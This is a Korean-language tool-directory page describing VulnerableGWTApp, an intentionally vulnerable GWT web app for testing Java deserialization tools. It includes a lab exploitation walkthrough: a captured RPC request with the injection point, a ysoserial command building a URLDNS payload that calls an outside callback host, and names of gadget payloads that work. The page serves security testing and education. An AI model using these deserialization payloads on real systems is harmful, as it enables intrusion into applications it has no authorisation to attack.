Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
VulnerableGWTApp — 의도적으로 취약하게 만든 GWT 기반 웹 애플리케이션으로, 도구와 기법을 테스트하기 위한 것입니다. | Kitploit
도구/GitHubGitHub/bishopfox/vulnerablegwtapp
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

의도적으로 취약하게 만든 GWT 기반 웹 애플리케이션으로, 도구와 기법을 테스트하기 위한 것입니다.

저장소 보기
522년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

취약한 GWT 웹 애플리케이션

이것은 GWT 시작 가이드에 설명된 StockWatcher 예제 애플리케이션의 버전으로, GWT의 "enhanced classes" 기능을 사용하도록 수정되어 Java 역직렬화 공격에 취약합니다. 이 애플리케이션은 탐지 및 익스플로잇 도구를 테스트하는 용도로만 사용해야 합니다. Enhanced classes는 실제 GWT 기반 애플리케이션에서 흔히 사용되지만, 이 예제가 공개되기 전까지는 보안 전문가들이 자신의 도구와 절차를 검증하는 데 사용할 수 있는 오픈 소스 웹 애플리케이션을 쉽게 찾을 수 없었습니다.

GWT 기반 애플리케이션의 익스플로잇은 Bishop Fox 블로그 게시물 "GWT: An Eight-Year-Old Unpatched Java Deserialization Vulnerability"에서 다룹니다.

웹 애플리케이션 실행

웹 애플리케이션을 실행하려면 다음 도구가 설치된 Linux 시스템이 필요합니다:

  • OpenJDK 11 JRE 전체 버전, headless 버전이 아닌 버전 - 예: Debian 계열 배포판에서는 openjdk-11-jre 패키지를 설치합니다.
  • ant (배포판의 패키지 관리자를 사용해 설치)
  • GWT SDK 2.10.0 버전

빠른 시작

이 애플리케이션은 GitHub 소스 제어에 직접 포함하기에는 너무 큰 여러 JAR 파일이 필요하므로, 시작하는 가장 쉬운 방법은 릴리스 페이지에서 최신 패키지를 다운로드하여 압축을 푸는 것입니다.

릴리스 패키지의 압축을 풀었으면 build.xml에서 다음 줄을 편집하여 /home/user/GWT/gwt-2.10.0을 자신의 GWT SDK 디렉터리로 바꾸십시오:

소스 코드 디렉터리에서 다음 명령을 실행합니다:

root@kitploit:~
ant build
ant devmode

그러면 취약한 웹 애플리케이션이 실행되고 http://127.0.0.1:8888/StockWatcher.html에서 접근할 수 있게 됩니다.

로컬 서비스로의 트래픽을 포워딩하여 원격에서 접근할 수 있게 하려면 8888 포트 외에도 9876 포트를 포워딩해야 합니다.

이 저장소의 코드에서 직접 실행

이 저장소를 클론하고 릴리스를 다운로드하지 않고 애플리케이션을 실행하려면, 클론한 후 다음 서드파티 JAR 파일을 다운로드하여 lib 디렉터리에 추가해야 합니다:

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

또한 GWT 디렉터리(예: gwt-2.10.0/)에서 다음 GWT JAR 파일을 이 취약한 애플리케이션의 lib 디렉터리로 복사해야 합니다:

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

해당 JAR 파일을 모두 복사한 후, 위의 빠른 시작 섹션에 있는 나머지 단계를 수행합니다.

웹 애플리케이션 익스플로잇

중간자 프록시(예: Burp Suite)를 통해 연결하도록 구성된 웹 브라우저로 http://127.0.0.1:8888/StockWatcher.html URL을 엽니다.

페이지는 처음에 "compiling" 메시지를 표시합니다. 다음 기본 양식이 표시될 때까지 기다립니다:

[ 주식 심볼을 추가하는 필드를 표시하는 StockWatcher 웹 앱 ]

필드에 BFOX와 같은 짧은 문자열을 입력한 다음 Add 버튼을 클릭합니다. 페이지는 시뮬레이션된 주식 심볼에 대한 무작위 업데이트를 표시하기 시작합니다:

[ BFOX 심볼에 대한 시뮬레이션 가격 데이터를 표시하는 StockWatcher 웹 앱 ]

여러분의 중간자 프록시 기록에서 브라우저가 이제 http://127.0.0.1:8888/stockwatcher/checkCustomClass1로 다음과 유사한 POST 요청을 반복적으로 전송하고 있음을 확인할 수 있습니다:

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

요청에서 Base64로 인코딩된 바이너리 데이터 rO0ABXcEAAAAAA==는 취약한 주입 지점입니다. 웹 애플리케이션을 익스플로잇하려면 교체용 페이로드를 생성해야 합니다. 예를 들어, Bishop Fox가 맞춤 수정한 ysoserial 버전을 사용하여 URLDNS 페이로드를 생성하려면 다음 명령을 실행할 수 있습니다:

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

생성한 페이로드로 rO0ABXcEAAAAAA==를 대체한 수정된 요청을 보내면 취약한 애플리케이션은 이를 역직렬화하여 트리거해야 합니다. 페이로드가 유발하는 모든 동작 외에도, 값이 역직렬화된 경우 응답에는 필드 이름과 관련된 NoSuchFieldException이 포함되어야 합니다. 예를 들어 위 예제의 bishopfox 이름을 사용한 경우 다음과 같습니다:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

사전 빌드된 취약한 웹 애플리케이션 릴리스를 사용했거나 위에서 언급한 모든 JAR을 사용자 지정 빌드에 수동으로 추가했다면, (최소한) 웹 애플리케이션에 대해 다음 페이로드를 사용할 수 있어야 합니다:

  • AspectJWeaver
  • Jython2
  • Jython3

이 글을 작성하는 시점에 ysoserial의 메인라인 버전은 GWT 형식 출력을 지원하지 않았으므로 반드시 커스텀 포크를 사용하십시오.

도구 다운로드